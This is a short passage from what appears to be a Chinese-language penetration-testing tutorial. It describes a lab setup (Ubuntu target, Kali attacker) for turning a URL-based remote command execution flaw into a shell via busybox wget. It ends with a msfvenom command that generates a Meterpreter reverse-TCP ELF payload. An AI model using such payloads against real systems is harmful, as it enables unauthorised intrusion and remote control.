模拟渗透测试——使用metasploit与wget获取靶机shell

前言

近日在复现漏洞时，由于目标所提供的服务中的某段代码没有对权限进行检查，导致了远程命令执行——RCE漏洞。

由于该漏洞本身的特性，所能执行的命令是需要通过url进行拼接且每次只可执行一句，因此尝试获取靶机shell来做到更多的事。

但在尝试的过程中发现目标对于防渗透措施做的相当不错，删除或者禁用了很多命令，上篇文章（《反弹shell常用命令》）所提到的所有方式都没有尝试成功。但天无绝人之路，busybox中wget的身影吸引了我的注意。

环境准备

靶机：ubuntu 192.168.116.128
攻击机：kali 192.168.116.129

测试流程

1 攻击机使用msf生成二进制木马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=开放端口 -f elf > p.elf